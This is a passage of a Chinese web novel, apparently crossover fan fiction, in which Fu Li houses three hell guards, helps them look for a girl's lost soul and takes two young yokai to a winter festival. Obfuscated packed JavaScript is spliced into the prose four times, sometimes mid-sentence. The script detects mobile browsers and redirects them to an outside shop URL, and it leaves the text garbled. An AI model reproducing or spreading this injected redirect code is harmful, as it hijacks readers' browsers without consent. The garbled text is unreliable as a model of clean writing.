这会儿说话的正是扶黎,刚刚那个狱卒一进阎魔厅就立刻过来跟鬼灯说话,大概是真的非常崇拜这位地狱辅佐官,他说了半天愣是没注意到旁边还有个人。 扶黎倒是不介意自己被忽视,反正他是来借人使唤的,只要能借到人其他都不重要,小迷弟遇见偶像嘛,理解理解~~ 佐井这才发现自己竟然怠慢了鬼灯大人的客人,顿时羞愧得连连道歉,那叫一个不好意思,他已经很久没犯过这么低级的错误了…… 扶黎摆摆手,让他别这么认真:“既然大家都准备好了,那我们现在就出发吧,争取早点完成任务。” 佐井巧赞同地点点头,随即对着身后两人正色道:“既然决定要带这么多东西,那就自己好好背着,别背到半路说背不动赖着不走。” 两人用力点头:“嗯嗯!” 巨大的包袱重量确实不容小觑,不过狱卒的力气也不是盖的,即使比不上鬼灯,但几乎各个都能举起超出自身四五倍的重量,因此一开始他们走得还算轻松。 然而从地狱去往小世界扶黎的住处,起码需要一个半小时,走了大概三分之二的路程他们就开始有点小喘,一旦感觉到累,之后的疲累只会成倍增加,扶黎注意到了,迟疑地开口:“要不要休息一下?” 佐井巧回头一看,顿时嫌弃地啧了一声:“叫你们少带一点非是不听,算了,原地休息十分钟,然后继续赶路。” 光村和小原感动得眼泪汪汪,连忙将包袱卸下,然后瘫坐原地休息,也不管地上脏不脏,过度呼吸的肺,酸痛的肩部和小腿都让他们顾不上其它。 扶黎找了块大石头随意扫了扫后坐下,此时小世界已是深夜,四周满是密林,万籁俱寂之下只有偶尔的虫鸣之声。 星光黯淡,月亮更是无影无踪,这个时间的森林绝对不会有人想不开闯进来,不提看不清的路随后会让人迷失方向,这样的夜晚更是妖异之物的聚会。 只是短短几分钟,扶黎已经听到好几个方向若有若无的歌声,以及若隐若现的倩影。 对此扶黎置若罔闻,只要他当看不到那就是没看到,不是他害怕,而是担心按捺不住自己然后一拳把这群鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128086|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩意儿锤扁。 暗处的妖怪们还在锲而不舍引诱,奈何它们选错了诱惑对象,扶黎八风不动,仿佛一棵盘根老树,看都不带看一眼,因为内心毫无恐惧,它们这种只会引诱的妖怪也没法冲出去袭击,于是只好含恨离开。 倒是几个狱卒都好奇地看了眼,在地狱他们也没见过这样式儿的,现世又管得很严,几乎成了完全唯物主义世界,因此这样的场面稀罕的很。 扶黎在原地坐了一会儿,见那两位看着气顺了许多,甚至有心情在地上这儿拔根草,那儿逮个虫,便道:“差不多就继续改路吧,再有半个小时就到了,不过接下来有一段的山路,会比之前难走些,特别是下山的时候,身上背着东西非常容易翻下去,你们能保证自己的安全吗?” 山风呼啸而过,树影憧憧,枝叶狂乱飞舞着,小原恭平扒拉了两下糊到脸上的头发,嘴里呸呸吐了两下,憨笑道:“放心吧,就算摔下去我们也不会受伤,说不定还会加快下山速度呢。” 扶黎:……直接滚下去是吗? 既然他们都这么说了,扶黎也就宽下心来,带着几人继续快速赶路。 下山的路总体来说还算平缓,就是有那么几个地方坡度稍稍有那么些大,再加上没有好的落脚点,青苔又滑溜溜的脚一踩很容易摔倒。 头重脚轻的小原恭平和光村亮果然“不负众望”,每遇到一个陡一点的坡都“刺溜”一下滚下去,再拍拍屁股拍起来。 虽然摔了很多次,但就像之前说得那样一点伤没受,倒是衣服已经变得脏兮兮全是泥巴,搞得佐井巧每次去拉他们一把的时候都要下极大的决心——实在是太埋汰了! 扶黎不但不帮忙帮忙,还要在一旁笑话两句:“浑身脏成这样,回去我两个小管家肯定会嫌弃,不洗干净不让你们进屋的。” “啊……”小原恭平低头看了看自己邋里邋遢的外表,顿时苦了张脸:“那、那该怎么办?荒山野岭的,哪儿洗澡去啊?” 总不能在外面随便找条河跳下去,就算他们是抗打抗摔抗寒的地狱鬼族,大冷天河水都结冰的天气洗冷水澡那也受不住呀(ㄒoㄒ) 欣赏了一下两人苦瓜似的表情,扶黎大发慈悲道:“没事,那边有洗澡的地儿,你们洗干净再进屋,洗完地上的泥沙也自己清一清,我家阿福、阿年最讨厌湿乎乎的地方脏兮兮的,得罪了他们接下来就没好东西吃了,可不能得罪厨师。” 有地方洗澡就好,两人一下松了气,来之前就听说了这个世界的情况,反正如果不是富裕人家洗澡很不方便,因为科技发展大概落后现世一百多年,还处在飞速进步的阶段,简而言之不太便利。 现在看来不需要太担心这方面了,由俭入奢易由奢入俭难,卫生才是大问题,只要上厕所洗澡这些能解决,相比之下其它都是小事。 带着变得轻松了许多的心情,展望着接下来可以到处闲逛的带薪旅游,似乎步伐都变得轻快,不多时就到了目的地。 山脚下一间造型别致的小院,说是小院其实不小,被打理的井井有条,哪怕是这样的寒冬腊月依旧有盛开的花朵点缀,腊梅黄色的花瓣并不能在夜色中欣赏,淡雅的香气却是似有似无缠绕着,让人心旷神怡。 29. 第 29 章 院中一角的小池塘不知道做了什么布置,这样的天气也没有结冰,几条小鱼在池中惬意地游来游去,时不时浮出水面吐两个泡泡,发出“啵啵”的轻响,好像在呼唤着别人过去,但一旦靠近,它们又会迅速潜入水中,只留下如丝绸般摇曳的鱼尾残影。 扶黎顺手洒下一把鱼食,引得池中鱼儿纷纷跃起抢食,原本平静的池面激烈的像是沸腾的热水。 “往这边走。”扶黎伸手一指着旁边一间独立的屋子:“这边是专门洗澡的地方,时时都准备着热水,不过因为没有足够的电力源源不断进行加热,也没有那样的设备,所以只是依靠几块从地狱取来的灼热火石提供热源,缺点是不能洗很久,但只是清洗一下应该绰绰有余。” 小原恭平扔下背着的大包袱,擦了擦额上的汗,一脸傻笑:“哦哦,不需要那么多热水的,冲一冲就好。” 这个点儿谁想浪费时间在泡澡上,要泡澡早在地狱就泡够了,有这时间还不如多睡一会儿。 扶黎给他们介绍了一下洗浴房的使用方法,这才准备退出去,走了没几步又反身问道:“你们要一起洗吗,这样速度会快一些,如果要的话我就去多拿几个盆和几条毛巾过来。” “那就算了……” 佐井巧嘴角抽了抽,刚想拒绝,忽然脖子一重,光村欢天喜扑了过来,在他说话之前就插花:“当然可以,我们在地狱之前都是泡温泉,大家都习惯了!” 佐井巧徒劳伸手:“不是……” 小原也扑过来,占据了他另一边肩膀:“那就麻烦您了,我们累了好多天,想好好睡一觉,就不浪费时间了。” 直到扶黎走出门去准备多的洗浴用具,佐井都没说出完整一句话来。 手掌无力地在虚空抓了几把空气,佐井巧挫败地扶额,深呼吸:算了算了,也不是一次两次了,只是一起洗个澡而已,和平时他们犯的蠢相比简直小巫见大巫。 因为这几天太忙都没时间好好休息,本想泡个澡解解乏,但被小原和关村“抓住了”,两个人一定会硬挤进来凑热闹,这儿的泡澡池才多大,他可不愿意和两个人大男人肉贴肉,想想就浑身泛鸡皮疙瘩,还是下次再说吧。 将外面已经脏了的外套脱下来,扔进一边的脏衣篓,趁主人家还没回来,佐井巧在这间浴室稍微四外看了看。 浴室面积其实并不小,起码有一间起居室那么大,地上贴着米白色地砖,墙上也是同色瓷砖。 明明是很容易脏的颜色,这里却被打扫到一尘不染,看上去非常的新。 只是现在地上有几个黑乎乎的脚印异常醒目,不用说,就是他们带进来的。 佐井巧摸摸下巴:哎呀,怪不得会嘱咐他们自己打扫干净泥沙呢,这样的地方要是弄脏确实会让辛苦维持整洁的人很生气。 这边正想着,身后忽然传来“磕哒嗑哒”的声响,回头看去,就见扶黎手里抱着三个叠在一起的盆,手上还挂着三条颜色不一样的大毛巾,那声音就是几个盆碰在一起时发出来的。 扶黎先给他们一人发了一条毛巾和一个盆,这才道:“记好自己盆和毛巾的颜色,别拿错了,当然要是不介意的话你们可以混用。” 毕竟是处了时间很久的兄弟,再加上都是男性,有些人就不是特别在意这方面,反正都洗过了,不脏。 “……”佐井巧打定主意洗完就把盆和毛巾收回房间,否则肯定会被小原和光村两个家伙随便乱用。 送完了盆和毛巾,扶黎又将浴室里的一些洗漱用品介绍了下,大多都是从现世或者地狱带过来的东西,大家都很熟悉使用方式,不过有些标的是外文,要是不认识很容易把沐浴露当成洗发露往头上抹。 将带回家的客人初初安顿好,忙碌了一天的疲惫终于袭来,但他现在还不能休息,得等他们出来后安排房间。 多亏了阿福阿年勤勤恳恳,就算不住人的房间也时时打扫通风,经常将被褥拿出去晒,不然今晚只能让客人睡落满灰的客房,盖潮湿的被子了。 在等他们洗完澡的间隙里,扶黎躺倒在沙发里闭目养神。 “大人?”忽然有轻轻的声音响起。 扶黎移开搭在眼上的胳膊,朝着声音来源处看去,只见客厅的门被拉开,门里透出柔和的光,将黑暗的客厅都照得亮了些,一个小小的身影倚在门边,似乎还有些没清醒,一双眼睡意朦胧 ,脑后几根呆毛翘起。 扶黎揉了揉太阳穴,坐起应了一声:“嗯,你怎么起来了?回去继续睡吧。” 阿年摇摇头,几句话的功夫变得清醒了些:“您怎么不去休息,现在已经凌晨三点,明天会起不来的。” 说着他转头看了眼窗户的方向,迟疑着说:“是有客人来了吗?我好像听到了陌生人说话的声音。” 扶黎点点头:“刚从地狱借了三个员工过来,帮忙的期间他们会和我们住一块儿,所以我在等着给他们洗漱完,好安排房间。” 阿年一听立马就要出去看一眼,被扶黎拦住了,表示:他们刚刚进去,要洗完还得好一会儿,别急。 阿年被劝住了,但他天生劳碌命,这会儿是彻底睡不着了,想着怎么能让主人大半夜招待客人,自己却躺在床上呼呼大睡。 于是转而开始催促扶黎去房间休息,看扶黎坐着不动,干脆上手推人:“大人您赶紧去睡吧,我来招待就行,这本来就是我的任务。” “但人是我带回来的,一会儿要是看不见我人,他们会不会觉得奇怪?”扶黎赖在沙发上不肯动弹,其实心里已经有一点点松动,想缩进温暖的被窝里。 这时阿年下了最后一针强心剂:“这么晚了大家肯定都能理解,您就去睡吧,我也不是第一次帮忙安顿地狱来的客人了,哪次不是开开心心地来,满满意意地走。” 说完他还拍拍胸脯,一副我办事你放心的骄傲脸。 扶黎摸摸下巴,说得好像有点道理,再加上现在困得眼睛都有点睁不开,熬着也不是个事儿,于是拍拍阿年肩膀,郑重道:“交给你了。” 阿年用力点头,包在我身上! 打着哈欠回了房,几乎是缩进被窝的瞬间扶黎就睡不省人事。 一觉醒来已经日上中天,勉勉强强睡满八小时,扶黎缓了会儿慢慢坐起身。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128087|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 屋里窗帘拉得好好的,阿福阿年想到他昨天睡得那么晚,今天都没来拉窗帘催他起床。 挠挠头,扶黎踩着拖鞋去洗漱,穿戴好后一看时间,正正好十二点。 客厅传来“悉悉索索”的说话声,房门一开,所有目光都朝他看了过来。 扶黎打量一番,除他之外这个家里住着的人都在。 “咦,大家都起这么早?”扶黎若无其事走进来,一屁股在沙发上坐下,看下三个狱卒:“昨天应该睡得很晚吧,起这么早不困吗?” 佐井巧端起茶杯喝了口水,摇摇头:“还好,也算是睡到6、7个小时了,再睡下去担心晚上睡不着,作息搅乱,不如早点起床,多喝点茶水提提神。” 扶黎对此表示理解,生物钟一旦错乱,就很难调回来,硬撑着不睡和强行闭眼硬睡都不是什么好体验。 没有在这方面的话题继续深入,扶黎摸摸肚子感觉有点饿,便转移了话题:“你们吃过午饭了吗?” 这个时间,往常他和阿福阿年都已经吃完了,不过由于今天特殊情况,阿福阿年一直没开饭,等着12点去看下扶黎的情况,没想到他自己起了,正好可以开饭。 阿福阿年站起身:“饭早做好了,怕凉所以热在锅里,我们现在就去端过来。” 三个狱卒也客客气气的去帮忙,他们稍微起得早些,知道因为他们过来两个小妖做了一堆饭菜,量非常大。 他们也不好意思就这么干坐着,让两个身材娇娇小小的小个子拿那么多东西,于是赶紧跟上。 客厅里只剩下老神在在坐在沙发上半点没动的扶黎,这可不是他偷懒。 熬了夜刚刚醒,要是他还想去“干活”,两个小家伙一定会把他赶走,昨天晚上就是个很好的例子,所以他躺得甚是心安理得。 很快一大桌子菜就端了过来,因为有三个身强力壮的好帮手,都没用得着走两趟。 几个人也没有食不言寝不语的规矩,这会儿就边吃边聊:“昨晚睡得好吗?阿年安排的房间怎么样?” 佐井巧作为队伍里的队长总是第一个发言,他竖起大拇指:“很好,房间特别干净舒服,被褥也很暖和,一点认床的困扰都没有。” 剩下两个跟着附和一个劲儿点头,确实很舒服,以前他们出公差最担心住宿问题,有旅馆都是好的,最糟糕的时候甚至得睡在野外。 就算有旅馆,床单、被子、枕头这些都硬邦邦的,稍微一动声音特别大,睡起来也不舒服,叠加上认床简直就是灾难。 但这次他们睡得特别舒服,多亏了被褥软和舒适,这里晚上也很安静,没有嘈杂的声响,几乎是闭上眼就睡了过去。 整个睡眠过程完全没有起夜,也没有做梦,可不就是一觉醒来精神头儿极好。 本来阿年想给他们安排到一间大房间里,但那个一头卷发的鬼族死活不愿意,搞得阿年一头雾水:跟朋友住一间多好啊,可以一起玩一起聊天,看了恐怖片也不担心一个人睡不着,好处多多呀! 年纪尚小的小妖怪还不太了解成年人对隐私的看重,只是听话地重新换了房。 30. 第 30 章 一顿饭吃过,大家的关系似乎都变得更亲近些,阿福阿年搁那头跟小原他们聊天聊得正到兴头,大概是心理年龄差不多大,他们竟然有些不少共同话题。 扶黎由着他们闲聊,自己则和佐井巧商谈起正事来:“时间紧迫,我想这次的问题今天就得行动起来了。” 佐井巧点点头:“这是自然,除此之前还需要您提供一些帮助。” 扶黎:“你说。” “最好先去看一眼那个小姑娘的身体状况。”佐井巧有条不紊说起接下来的计划:“看的过程中我会借此熟悉一下她的气息,方便接下来搜寻,不过我们三个不方便现身,所以……” 扶黎一点就通:“明白,我会找个借口过去看人,你们就跟在我后面悄悄进去。” 说完他看了看佐井巧,进一步确认:“你们确定不会被任何人看见吧?包括这个世界的特异人士?” “当然!”佐井巧对此信心满满:“我们和活着的人之间犹如天堑,如果不服用魔药特意显露身形,他们是绝对无法看见的,这一点不管在哪个世界都一样,请尽管放心。” 扶黎倒不是不相信,只是追求万无一失的性格让他办事之前会考虑得比较细致,如今得到对方的进一步验证,更是彻底放下心。 若是半路除了差池,他这边不好解释,一个不慎好不容易搞好的关系也有黄掉的风险。 到目前为止,扶黎觉得和主角团相处得还算不错,彼此脾性也合得来,不是很想因为子虚乌有的事情和他们闹僵。 事情商议完毕,两人都不是拖拉的,立刻启程前往帝都城中,至于剩下两个狱卒就留在这里看家了,带上他们也没多大用处,还容易增加暴露风险。 一进城中扶黎就发现不太对劲,昨天来的时候还是一片萧条之景,今天却热闹非凡,虽还不到人声鼎沸、摩肩接踵的盛况,街上着实多了不少人,街道两边铺面开得红红火火,客人们言笑晏晏,寒冷的天气也无法阻止他们的笑容。 好奇地上前问了几句,这才知道时隔多日阴雨天难得放晴后,城中商会举办了冬日祭典,这会儿白天其实还没那么热闹,不过因为各种促销优惠,在家里憋了好些天的人们还是走了出来。 到了晚上这边张灯结彩还有烟花盛会,应该会来更多的人,比这时候热闹好几倍。 扶黎听得有些意动,但现在正事要紧,他便没多做停留,转头就往古那屋的方向去了。 来之前并没有提前通知,但古那屋等着他的人却并不少,除了信乃他们,还有苦主的家人——犬村大角。 昨天回来后得知雏衣可能有救,大角干脆连工作都暂时放弃了,一心在家里守着。 见到扶黎他压抑着内心的激动,没有上前询问,只是沉默地跟在众人身后,去房间里看雏衣。 这次扶黎装模倒是做样把了遍脉,其实是拖延时间好让佐井巧看得更仔细一些。 佐井巧也不磨叽,三下两下便探清楚了情况,然后对扶黎使了个眼色。 扶黎顺势收手做出一副已经好了的样子,而佐井巧就在他耳边嘀嘀咕咕。 扶黎一边应付其他人的问题,一边总结佐井巧说的话,结论就是:还有救,但得找,时间不定,保守估计半个月。 有结果就成,扶黎将这个结论包装一遍,找魂体改成定制解药,时间大概半个月,成功将对方“骗”了过去。 说完他也不多留,只说赶时间。 多说多错,在没有成功找到雏衣的魂体之前,扶黎打定主意少来,免得一不小心说错话,引起他们怀疑。 唉,明明是做好事,现在倒整得像个居心叵测的坏人。 急急忙忙出了古那屋,待走了一段距离,看不见古那屋了,扶黎才缓下脚步,跟一旁的佐井巧低声细语:“这事什么章程,不会要像无头苍蝇一样乱找吧?” 佐井巧被扶黎这小心的举止感染,也下意识压低声音,压根不记得没人能看见他:“我们平时接引亡者也是有技巧的,因为刚死之时魂魄往往飘飘忽忽不知其所在,更有甚者忘记自己已经死去的事实,离开身体所在之处飘去其它地方。这种情况就需要追踪,以前都是纯靠迎接科狱卒的直觉和经验,很容易漏掉,或者过上很长时间才会因为偶遇之类的原因重新将亡者带回地狱。” 或许就是因为这个原因,以前现世总是有各种遇鬼传闻,流传下来的鬼故事比比皆是。 但现在不一样了,时代在发展地狱也在进步,经过多年潜心研究,技术科成功研制出定位罗盘,大大提升迎接科定位准确率,最近更是将罗盘更新成了更具现代元素的定位仪,科技感满满,精确率也大大提升。 听到这里,扶黎起了些兴趣,要佐井巧将定位仪拿出来给他瞧一眼。 佐井巧自无不应,掏出来一看,外观跟现世的电子手表差不多,小巧精致,还是触摸屏。 “只要将气息输入这块表,就可以实现自动追踪,比人工找快多了。” 扶黎伸手接过来,上下左右认真看了又看,结果没看出个所以然:“这是从哪里收的气息,这么厉害吗?” “呃……”佐井巧被问住了,他挠挠头:“具体是怎么运行的我也不知道,技术科研究出来的东西都奇奇怪怪的,有些好用有些不好用,不过都是科技和神秘力量相结合,里面除了机械大概还施了术。” 扶黎听罢仔细感受一番,确实在其中察觉到了其它力量,不过这方面他不是很熟,就算感受到也不清楚具体是什么。 将定位仪还给佐井,看着他一通捣鼓,屏幕上很快出现了一个绿色箭头。 “这是?” 佐井巧:“这是大致定位指向,不过很粗略,可能指向的只是目标曾经所在地,后面还要经过层层筛查,一时半会儿完成不了。” “既然一时半会儿完不成,那就不着急,今天帝都城内举办祭典,我想在这边逛会儿,你呢?” 佐井想想好久没这么放松了,也要逛一会儿,就顺便给留守家中的其他人发了条短信通知。 在这里玩儿没关系,但不能不告诉小原他们,事后被知道的话那两个一定会念个不停。 此时还未近黄昏,天色尚早,扶黎忧心自己逛街时被信乃他们撞见,特意又变了次相貌。 事实证明这是个明智之举,逛了大半天肚子快被街上小吃填饱的扶黎,一个转脸就瞅见了同样出来逛夜市的信乃他们。 因为样貌改变,倒是没人认出他。 但扶黎还是做贼心虚地挪了挪脚,躲到了柱子后,不怕一万就怕万一,万一认出来可怎么办?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128088|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>扶黎:鬼鬼祟祟,偷偷溜走.jpg。 夜色渐渐降临,街上的人流量终于到达顶点,人声鼎沸,一串串灯笼高高挂起,将整个街市连成璀璨的星河。 在家中待得无聊,不甘寂寞的阿福阿年也跑了出来,扶黎跟他们接上头,二话不说先一人脸上扣了个面具。 阿福捧着面具,眼神里是小小的困惑。 “今天就当不认识信乃他们,大人我因为一点事情得隐藏身份,你们可不要露馅了!”扶黎将他们脑后的绳结系系紧,防止不小心被甩掉:“要是露馅了,就当我是普通朋友,知道吗?” 阿福阿年乖乖点头。 扶黎满意地一拍他们脑袋,伸手指前方:“出发!” 两个小家伙举手欢呼:“喔!!” 至于另外两个狱卒,那就跟幽灵一样在人群里飘来飘去,他们也吃不了,只能跟着凑凑热闹。 于是两伙人分道扬镳,做为已经吃饱了的,扶黎一路上光顾着看着两个小孩儿别走丢,然后给他们付钱。 逛祭典到店里吃饭反而没什么趣味,就是要这样边走边吃才有意思。 逛了一会儿扶黎感觉胃里稍微消化了些,还能再垫垫,不过没敢买那些占胃的,只买了个苹果糖。 结果一吃,还不如直接吃苹果,那么大一个外面裹满了糖稀,只靠一根棍儿实在没办法啃,想想真不如拿糖裹些能一口吃进去的水果。 吃不掉的苹果糖扔了太浪费,他只好将自己吃过的部分拿小刀削掉,切成两半分给了阿福阿年。 小家伙们倒是不嫌弃,吃得开开心心,一路上也是顺顺利利,一点儿没碰上不想碰到的人。 吃完最后一颗章鱼小丸子,阿福摸摸变得圆滚滚的肚皮,阿年捂住嘴打了个小小的嗝,仰脸看扶黎:“吃饱了。” “吃饱啦,那要再玩一会儿还是回去?” 此时已月上中天,走走逛逛的时候时间不知不觉便溜走了。 阿福盯着前面那些还没去过的铺子有些纠结,吃是吃不下去了,去前面好像也没什么意思,可是就这么走了也很不甘心。 “前面还有些捞金鱼、套圈之类的小游戏,要去试一试吗?”扶黎一手牵起一个低声询问。 两个小妖还是小孩儿天性,一听见有好玩儿的顿时忘了方才的纠结,一股脑儿拉着扶黎往前挤。 汹涌的人流挤得大家伙举步维艰,倒是阿福阿年他们个子小,挤起来容易多了。 扶黎边挤边喊:“慢点儿,慢点儿——” 好不容易到了捞金鱼的摊位前,抬眼一看前面排了好几个,再定睛一看,豆大的汗从额头上流下来,佐井巧他们几个不知道什么时候现了身形,正在专心致志捞金鱼,看看旁边破掉的纸网数量,玩得相当投入。 扶黎走到他们身后,一根手指戳了戳,没反应。 又戳了戳,还是没反应。 使劲戳了戳,终于有反应了。 “干嘛!”回头一看:“你谁啊?” 阿福、阿年悄悄掀开一点面具,又迅速盖了回去,只是这一点空隙的时间,足够对面的狱卒看清了。 小原恭平一秒变脸,声音低下来:“是你们啊。” 又看了看戳他的陌生人,脸上冒出大大的问号:这谁啊。 31. 第 31 章 扶黎就知道他们认不出来,只好说道:“是我啊,看到阿福阿年你还不知道是谁吗?” 小原恭平依旧一脸茫然:谁啊? 这时旁边也在玩捞金鱼的佐井巧总算是发现了这边的情况,他脑子动的比较快,一下认出人来:“扶黎?” “嗯。”扶黎点点头,他摸着自己的脸叹气:“这应该是我第二张假脸了,你们可要好好记住,地狱见到的那张是真脸,出门的时候变了次相貌,逛街的时候又变了次,不过现在这张脸不会常用,你们记住我出门时那张脸就行。” 三个狱卒点点头,表示明白。 扶黎满意颔首,扯开话题问道:“捞金鱼有捞到吗?” 此话一出,气氛一时凝滞。 扶黎疑惑歪头。 一只装满水扎紧封口的塑料袋忽然出现在眼前,里面孤零零一条小金鱼游来游去,衬得不大的小水袋都显得宽敞起来。 扶黎看看水袋,再看看举着水袋的小原恭平,再看看水袋,迟疑道:“只有一条?这么多破掉的纸网?” 最后一句简直是致命一击,小原恭平收回水袋,一手捂住胸口虚弱道:“虽然是这样,但请不要说得那么直白,我觉得很受伤。” 扶黎一时无语哭笑不得,难以想象他们三个大男人在这里玩儿了好几轮,只逮到一条。 他甚至怀疑是不是这个摊位的纸太薄了,然后眼睁睁看着后面一位小朋友轻轻松松捞起一条,纸网完好如初,然后又捞起一条才破掉。 扶黎:“……” “一定是因为这里和地狱不太一样,所以影响了大家发挥,适应适应就会好的……”扶黎替他们强行挽尊,结果越说越不自信。 对面人的嘴都快扁成鸭子了,扶黎一头黑线,只得转移话题:“对、对了,我家两位小的也想过来玩玩儿,你们让个位置出来呗。” 金鱼摊并不大,并排蹲两个成年人已经是极限,现在被两个狱卒堵得严严实实,其他人是一点都挤不进去。 佐井巧早就因为自己连个金鱼都捞不上来,还被熟人碰见而脸上着火,这会立刻就让了开来:“这边这边,我还有几个没用过的纸网,都给他们用了。” 阿福阿年颠颠跑过来,他们个子小,让出来的缺口刚刚好够一起塞进去。 水池里是密密匝匝的小金鱼,最常见的金红色,偶尔夹杂几条黑色,虽然都是些直接买非常便宜的品种,但捞金鱼要的就是抓到之后的成就感,直接买就没意思了。 阿福和阿年将剩下的纸网分了,一人三个,取了其中一个捏在手上,紧紧盯住水里的金鱼。 很显然他们对金色的不感兴趣,只想捞黑色那几条,家里的池塘正好没有黑色金鱼,捞到了就带回去放池里养。 只是黑金鱼寥寥无几,还时不时潜入最底部,两人只好等待时机,见一只黑色的忽然冒头,阿福以迅雷不及掩耳之势下网抄鱼。 纸网倾斜45°角,减少与水面接触面积,用纸网边捞鱼防止破损,轻轻靠近鱼慢慢向上捞起,避免鱼挣扎。 动作利落干净,一气呵成! 阿福慢慢呼出一口气,随即高兴地看着自己捞上来的鱼,一次成功,好久没玩但他“宝刀未老”嘛。 一时得意忘形,阿福托着自己的战利品炫耀:“看看看看,这才是实力!” “……”光村亮露出标准微笑,眼里却一片“死灰”。 还能不能好了,他们三个大男人连个小家伙都比不上。 这边正自闭着,旁边“哗啦”一声水花响,光村亮转头一看顿时更自闭了,只见一条活蹦乱跳的金鱼。 阿年用了两个纸网也成功捞上来一条,只是好像并不满意的样子,他嘟嘟嘴:“不是黑色的啊。” 听听,听听,这是人话吗? 哦,他们确实不是人是妖怪,简直比鬼还鬼! 迎接科三连星败下阵来,蹲在后面殷殷切切盯着两个身高只到他们腰部的小孩儿,替他们反败为胜,扭亏为盈,刚刚买纸网花掉的钱都慢慢赚了回来。 不过捞那么多鱼也没用,不能让摊主一点钱都不赚呀,两个小孩捞了六条就没有再继续。 这快就捞到反而容易失去成就感,而且六条鱼他们都嫌多,于是很快决定换下一个游戏,捞到的鱼也只留下一条,其余的全部随机送路边小朋友。 拎着仅剩的一条黑色小金鱼,阿福边走边时不时抬起来看一眼,都走到套圈的摊子了还在看。 扶黎笑着问他:“这么喜欢吗?之前捞金鱼从没见你这么喜欢过呀。” 阿福摸摸下巴,平时总是显得憨憨傻傻的小脸上难得显露出几分智慧:“嗯——总觉得这条鱼有点点不对劲,好像有妖气?” “是吗?”扶黎一听连忙凑过去,一双眼睛瞪大了瞧,其他人也跟着凑过来。 阿年:“好像是有很微弱的妖气,难道这是个开了智的小妖,但怎么会混在金鱼摊上?”难道是妖怪行业再就业?有钱赚吗? 扶黎:“只是开了智而已,这样的小妖不能化人形也不能使妖术,懵懵懂懂七岁小儿之智,很容易被人类误捉却又无法逃走,如果是这样就不能将它放进家里池塘了,找个地方放了吧。” 阿福乖乖点了头,虽然有些不舍但还是听话地答应。 不过这样的不舍很快就消失了,因为他们成功在套圈的摊子上套到了一只小乌龟。 黑色小金鱼没了,小乌龟也不错嘛,特别是四只小爪子扒拉来扒拉去,特别可爱,可爱到两个小家伙都没心思继续玩,想赶紧回家安置小乌龟。 扶黎一看天色也不早了,干脆收拾收拾打道回府,路上还在林子里找了个湖将鱼放掉。 这条鱼真是标准的呆头呆脑,被放到水里都不动弹,半天才像忽然意识到自己自由了一般,猛地甩了下尾巴,刺溜一下游入水底。 扶黎撩开在眼前晃来晃去的树枝,叹气:“祝福它不会被湖里凶猛的肉食鱼类吃掉吧,能做的我们都做了。” ………………………… 帝都城中,一夜过去热闹散去,街上又开始变得冷清,但承接昨天的一番活动,好歹算是带起了居民的活动积极性,大冷天也会出门逛一逛,尤其是城中靠近边缘处一片冻得梆梆硬的湖面上,溜冰的人着实不少,溜着溜着也就暖和了。 一大早的迎接科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128089|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三连星就出来找魂,刚刚巧跑到这边来。 扶黎是过来凑热闹的,三连星还要工作,他就和那些溜冰的人一起在冰上滑来滑去,可巧又遇上了信乃他们。 扶黎:我身上是有什么主角吸引磁铁吗? 天地良心,他今天可真没想着过来跟主角团培养感情,就算是再好的朋友也不会天天黏在一起,大家还是需要边界感的嘛,但他算了算自己待在这个世界的时间,满打满算竟然有百分之七十的天数会与主角团见面。 扶黎一捧脸:天啊!会不会显得太缠人,太居心不良了?! 其实这次能碰上完全是情理之中,凡是有点闲心出来逛的家伙都到这儿来了。 扶黎假装没看见,坚决不主动去找对方。 不过他不找对方,对方却是看见他后自己找了过来。 看着面前腿脚还有些不利索的夜归,扶黎做出一副才看见对方的惊讶模样,声音饱含喜意:“这么巧碰到了,你出来滑冰吗?腿能受住?” 信乃一摆手,摇头道:“这次不是出来玩儿的,而是有点事情要办,不过庄介嫌我走得慢碍手碍脚,就把我打发出来了。” 